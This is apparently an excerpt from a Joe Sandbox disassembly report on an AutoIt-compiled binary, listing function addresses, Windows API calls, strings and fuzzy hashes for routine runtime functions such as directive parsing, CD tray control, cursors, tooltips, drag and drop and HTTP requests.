Function 00F37778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

Cannot parse #include, xrefs: 00F75279
#requireadmin, xrefs: 00F377FF
#OnAutoItStartRegister, xrefs: 00F37817
Unterminated group of comments, xrefs: 00F7528C
#include, xrefs: 00F37847
#cs, xrefs: 00F37873, 00F378C5
", xrefs: 00F75153
', xrefs: 00F75169
Bad directive syntax error, xrefs: 00F7519A
#ce, xrefs: 00F378ED
#comments-end, xrefs: 00F378D9
#comments-start, xrefs: 00F3785F, 00F378B1
#include-once, xrefs: 00F3782F
#notrayicon, xrefs: 00F377E7
#pragma compile, xrefs: 00F377D3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 3d40e7e2592a40c7bbbcb74c5a07a31cec568ca5ab5669dbd2f6133ba07543c0
Instruction ID: a84ec6fc7c7f0fe7d6a197115242a1aa9e2640a9afead965ab15f28e706ab996
Opcode Fuzzy Hash: 3d40e7e2592a40c7bbbcb74c5a07a31cec568ca5ab5669dbd2f6133ba07543c0
Instruction Fuzzy Hash: E481F8B1A04305BBDB20BF60CC43FAE7BA4AF14760F044025FD09AA192EBB4D915F792

Function 00FA3E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00FA3EF8
_wcslen.LIBCMT ref: 00FA3F03
_wcslen.LIBCMT ref: 00FA3F5A
_wcslen.LIBCMT ref: 00FA3F98
GetDriveTypeW.KERNEL32(?), ref: 00FA3FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FA401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FA4059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FA4087

Strings

close cd wait, xrefs: 00FA4072
type cdaudio alias cd wait, xrefs: 00FA4001
wait, xrefs: 00FA4044
open , xrefs: 00FA3FE5
close, xrefs: 00FA3EFE, 00FA3F18
open, xrefs: 00FA3F54, 00FA3F59
set cd door , xrefs: 00FA4028
closed, xrefs: 00FA3F08, 00FA3F2D, 00FA3F46, 00FA3F7E, 00FA3F97

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 6defe51fbd53e519bb3fdb4e5f63c059c12814f394984a62d3d35c73ed84c1e8
Instruction ID: c1e972f4b3355ca5a41505009d972899e98cad9da24b62c9972ac018f5b6740f
Opcode Fuzzy Hash: 6defe51fbd53e519bb3fdb4e5f63c059c12814f394984a62d3d35c73ed84c1e8
Instruction Fuzzy Hash: 2771F1B2A042059FC310EF34C88186AB7F4EF95768F10892DF996D7261EB34ED45EB91

Function 00F95A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00F95A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00F95A40
SetWindowTextW.USER32(?,?), ref: 00F95A57
GetDlgItem.USER32(?,000003EA), ref: 00F95A6C
SetWindowTextW.USER32(00000000,?), ref: 00F95A72
GetDlgItem.USER32(?,000003E9), ref: 00F95A82
SetWindowTextW.USER32(00000000,?), ref: 00F95A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00F95AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00F95AC3
GetWindowRect.USER32(?,?), ref: 00F95ACC
_wcslen.LIBCMT ref: 00F95B33
SetWindowTextW.USER32(?,?), ref: 00F95B6F
GetDesktopWindow.USER32 ref: 00F95B75
GetWindowRect.USER32(00000000), ref: 00F95B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00F95BD3
GetClientRect.USER32(?,?), ref: 00F95BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00F95C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00F95C2F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: bd7d5e7c448d1f2d2df73926b493b9dafa9c9a56abdd9347780085d896dad067
Instruction ID: be1150821d3602bda9881e389f3f206f8de8891c4aad724cbc3feafdc4c5ba96
Opcode Fuzzy Hash: bd7d5e7c448d1f2d2df73926b493b9dafa9c9a56abdd9347780085d896dad067
Instruction Fuzzy Hash: AB717D31900A099FEB21DFA8CE86E6EBBF5FF48B14F104518E586A35A0D775E940EB50

Function 00FAFE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00FAFE27
LoadCursorW.USER32(00000000,00007F8A), ref: 00FAFE32
LoadCursorW.USER32(00000000,00007F00), ref: 00FAFE3D
LoadCursorW.USER32(00000000,00007F03), ref: 00FAFE48
LoadCursorW.USER32(00000000,00007F8B), ref: 00FAFE53
LoadCursorW.USER32(00000000,00007F01), ref: 00FAFE5E
LoadCursorW.USER32(00000000,00007F81), ref: 00FAFE69
LoadCursorW.USER32(00000000,00007F88), ref: 00FAFE74
LoadCursorW.USER32(00000000,00007F80), ref: 00FAFE7F
LoadCursorW.USER32(00000000,00007F86), ref: 00FAFE8A
LoadCursorW.USER32(00000000,00007F83), ref: 00FAFE95
LoadCursorW.USER32(00000000,00007F85), ref: 00FAFEA0
LoadCursorW.USER32(00000000,00007F82), ref: 00FAFEAB
LoadCursorW.USER32(00000000,00007F84), ref: 00FAFEB6
LoadCursorW.USER32(00000000,00007F04), ref: 00FAFEC1
LoadCursorW.USER32(00000000,00007F02), ref: 00FAFECC
GetCursorInfo.USER32(?), ref: 00FAFEDC
GetLastError.KERNEL32 ref: 00FAFF1E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 505ed4a2adf25ca910e8f29a05ddae1dac348ad8dac4d39909af35960b9684eb
Instruction ID: e8e5c6ac02071980a931e482eeb162708c007547ec666296f0dfbfd7e29a6485
Opcode Fuzzy Hash: 505ed4a2adf25ca910e8f29a05ddae1dac348ad8dac4d39909af35960b9684eb
Instruction Fuzzy Hash: 0A4153B0D043196FDB109FBA8C85C5EBFE8FF05364B50462AE11DEB281DB7899019F91

Function 00F500C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00F500C6

Part of subcall function 00F500ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0100070C,00000FA0,71BF95B5,?,?,?,?,00F723B3,000000FF), ref: 00F5011C
Part of subcall function 00F500ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00F723B3,000000FF), ref: 00F50127
Part of subcall function 00F500ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00F723B3,000000FF), ref: 00F50138
Part of subcall function 00F500ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00F5014E
Part of subcall function 00F500ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00F5015C
Part of subcall function 00F500ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00F5016A
Part of subcall function 00F500ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00F50195
Part of subcall function 00F500ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00F501A0

___scrt_fastfail.LIBCMT ref: 00F500E7

Part of subcall function 00F500A3: __onexit.LIBCMT ref: 00F500A9

Strings

InitializeConditionVariable, xrefs: 00F50148
SleepConditionVariableCS, xrefs: 00F50154
WakeAllConditionVariable, xrefs: 00F50162
kernel32.dll, xrefs: 00F50133
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00F50122

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 4acd2b02cc7a8bb834b82a4c6a113fc258165372590a0722b089bb0c404f1184
Instruction ID: d0c265db2c2697ad45573fbd77fc5cff02eba1a9d7faa3c91d59fd085d86330f
Opcode Fuzzy Hash: 4acd2b02cc7a8bb834b82a4c6a113fc258165372590a0722b089bb0c404f1184
Instruction Fuzzy Hash: 54212932E40B156BE7215B64AD07F6A7794EB04B62F04013AFD0A972C1DF788808BAD2

Function 00F930F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00F9318D
_wcslen.LIBCMT ref: 00F931F8

Strings

REGEXPCLASS, xrefs: 00F93255, 00F93266
CLASS, xrefs: 00F93188, 00F931A5
CLASSNN, xrefs: 00F931F3, 00F93204
TEXT, xrefs: 00F9347C
INSTANCE, xrefs: 00F93453
NAME, xrefs: 00F93335, 00F93346

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 213b8210681e746af9b23e2ccd1a06c955995ec56b88f0f262deb1af20cf1307
Instruction ID: 2fde87fc10329123395a966cb27b32b83a89e27edbe8fc7a558f10eb5729715f
Opcode Fuzzy Hash: 213b8210681e746af9b23e2ccd1a06c955995ec56b88f0f262deb1af20cf1307
Instruction Fuzzy Hash: F1E1E532E00516ABDF18DFA8C841BFDBBB0BF44720F558119E956E7250DB30AE89B790

Function 00FA44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00FCCC08), ref: 00FA4527
_wcslen.LIBCMT ref: 00FA453B
_wcslen.LIBCMT ref: 00FA4599
_wcslen.LIBCMT ref: 00FA45F4
_wcslen.LIBCMT ref: 00FA463F
_wcslen.LIBCMT ref: 00FA46A7

Part of subcall function 00F4F9F2: _wcslen.LIBCMT ref: 00F4F9FD

GetDriveTypeW.KERNEL32(?,00FF6BF0,00000061), ref: 00FA4743

Strings

unknown, xrefs: 00FA4708
fixed, xrefs: 00FA4635, 00FA463A
cdrom, xrefs: 00FA458F, 00FA4594
removable, xrefs: 00FA45EA, 00FA45EF
ramdisk, xrefs: 00FA46F1
network, xrefs: 00FA469D, 00FA46A2
all, xrefs: 00FA4531, 00FA4536

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 1e8c691230f5e28235f2dbe1093497a327eac7fd65c8cb68caf52e857a148589
Instruction ID: 8debabd50ec9d430ac24d090e94d07a30bd45bf3e8f557fd2b3600ef20f4a8a9
Opcode Fuzzy Hash: 1e8c691230f5e28235f2dbe1093497a327eac7fd65c8cb68caf52e857a148589
Instruction Fuzzy Hash: DEB1F3B1A083029FC710DF28C891A6AB7E5AFD6720F50491DF596C7291D7B4E844EB52

Function 00FB3FE9 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FCCC08), ref: 00FB40BB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00FB40CD
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,00FCCC08), ref: 00FB40F2
FreeLibrary.KERNEL32(00000000,?,00FCCC08), ref: 00FB413E
StringFromGUID2.OLE32(?,?,00000028,?,00FCCC08), ref: 00FB41A8
SysFreeString.OLEAUT32(00000009), ref: 00FB4262
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00FB42C8
SysFreeString.OLEAUT32(?), ref: 00FB42F2

Strings

GetModuleHandleExW, xrefs: 00FB40C7
kernel32.dll, xrefs: 00FB40B6

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: 497ef0101a77e3297b6811868fce23313b6cc535d0c727b527dad5ec2af79d09
Instruction ID: 59587c4ee8c120b881d554fde51683c10f44e456e8ae9788f19254292173befd
Opcode Fuzzy Hash: 497ef0101a77e3297b6811868fce23313b6cc535d0c727b527dad5ec2af79d09
Instruction Fuzzy Hash: F7125A75A00109EFDB14DF95C984EAEBBB5FF45314F288098E9099B252C731ED42EFA0

Function 00F3326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(01001990), ref: 00F72F8D
GetMenuItemCount.USER32(01001990), ref: 00F7303D
GetCursorPos.USER32(?), ref: 00F73081
SetForegroundWindow.USER32(00000000), ref: 00F7308A
TrackPopupMenuEx.USER32(01001990,00000000,?,00000000,00000000,00000000), ref: 00F7309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00F730A9

Strings

0, xrefs: 00F3327D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 43a558747d1c2ee681dc8f5b95c07c3af6e9b92d28e4f3c8e645572bf0f688b4
Instruction ID: 75e578a325d3afbe5ae1d335def2b58f5f5d15f71d4a771b4a82e8a5a66d1752
Opcode Fuzzy Hash: 43a558747d1c2ee681dc8f5b95c07c3af6e9b92d28e4f3c8e645572bf0f688b4
Instruction Fuzzy Hash: 9A71F831A44205BEFB218F24DD49F9ABF64FF05374F248216F5186A1D0C7B1A910FB92

Function 00FC6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00FC6DEB

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00FC6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00FC6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00FC6E94
DestroyWindow.USER32(?), ref: 00FC6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00F30000,00000000), ref: 00FC6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00FC6EFD
GetDesktopWindow.USER32 ref: 00FC6F16
GetWindowRect.USER32(00000000), ref: 00FC6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00FC6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00FC6F4D

Part of subcall function 00F49944: GetWindowLongW.USER32(?,000000EB), ref: 00F49952

Strings

tooltips_class32, xrefs: 00FC6E58, 00FC6EDD
0, xrefs: 00FC6D98

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 801f489f7bb0161b933c6e35af0360377dc7ffe417e39a74dcba22fc91282842
Instruction ID: 1ac532e1532bc993db52865d9d0ed51d7e739ddfafeaaee443c12884164b1ae3
Opcode Fuzzy Hash: 801f489f7bb0161b933c6e35af0360377dc7ffe417e39a74dcba22fc91282842
Instruction Fuzzy Hash: C5718870908245AFDB21CF18DA49FAABBE9FF88314F04041EF989C7261D775E906EB15

Function 00FC911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

DragQueryPoint.SHELL32(?,?), ref: 00FC9147

Part of subcall function 00FC7674: ClientToScreen.USER32(?,?), ref: 00FC769A
Part of subcall function 00FC7674: GetWindowRect.USER32(?,?), ref: 00FC7710
Part of subcall function 00FC7674: PtInRect.USER32(?,?,00FC8B89), ref: 00FC7720

SendMessageW.USER32(?,000000B0,?,?), ref: 00FC91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00FC91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00FC91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00FC9225
SendMessageW.USER32(?,000000B0,?,?), ref: 00FC923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00FC9255
SendMessageW.USER32(?,000000B1,?,?), ref: 00FC9277
DragFinish.SHELL32(?), ref: 00FC927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00FC9371

Strings

@GUI_DRAGFILE, xrefs: 00FC9320
@GUI_DROPID, xrefs: 00FC929E
@GUI_DRAGID, xrefs: 00FC92E9

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 8fbd0b3f14f5deb6153dc172c0242e2202049d0c90da3aedc42f3116ca0b279b
Instruction ID: 254f8717566e425b96ba3570ad7bf024f611cacf55ecc7d044f58885e51eeb45
Opcode Fuzzy Hash: 8fbd0b3f14f5deb6153dc172c0242e2202049d0c90da3aedc42f3116ca0b279b
Instruction Fuzzy Hash: 4B616D71108305AFD701DF64DD86EAFBBE8EF88760F00091DF595931A0DBB49A49EB92

Function 00FAC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00FAC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00FAC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00FAC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00FAC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00FAC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00FAC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FAC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00FAC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00FAC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00FAC5F0
InternetCloseHandle.WININET(00000000), ref: 00FAC5FB

Strings

, xrefs: 00FAC575

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 4f389247796b208d338d8cb5a91ce61f60fb8aab64bfa0c6a07ec65cf1b21406
Instruction ID: f917366a960b87665276e6bcbc479fd0cdd8e82de3894f9f853ddb018840593b
Opcode Fuzzy Hash: 4f389247796b208d338d8cb5a91ce61f60fb8aab64bfa0c6a07ec65cf1b21406
Instruction Fuzzy Hash: 45513AB1900609BFDB219F64C989AAA7BFCEF09754F044419F94A97610DB34E944ABE0

Function 00FC856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00FC8592
GetFileSize.KERNEL32(00000000,00000000), ref: 00FC85A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00FC85AD
CloseHandle.KERNEL32(00000000), ref: 00FC85BA
GlobalLock.KERNEL32(00000000), ref: 00FC85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00FC85D7
GlobalUnlock.KERNEL32(00000000), ref: 00FC85E0
CloseHandle.KERNEL32(00000000), ref: 00FC85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00FC85F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,00FCFC38,?), ref: 00FC8611
GlobalFree.KERNEL32(00000000), ref: 00FC8621
GetObjectW.GDI32(?,00000018,000000FF), ref: 00FC8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00FC8671
DeleteObject.GDI32(00000000), ref: 00FC8699
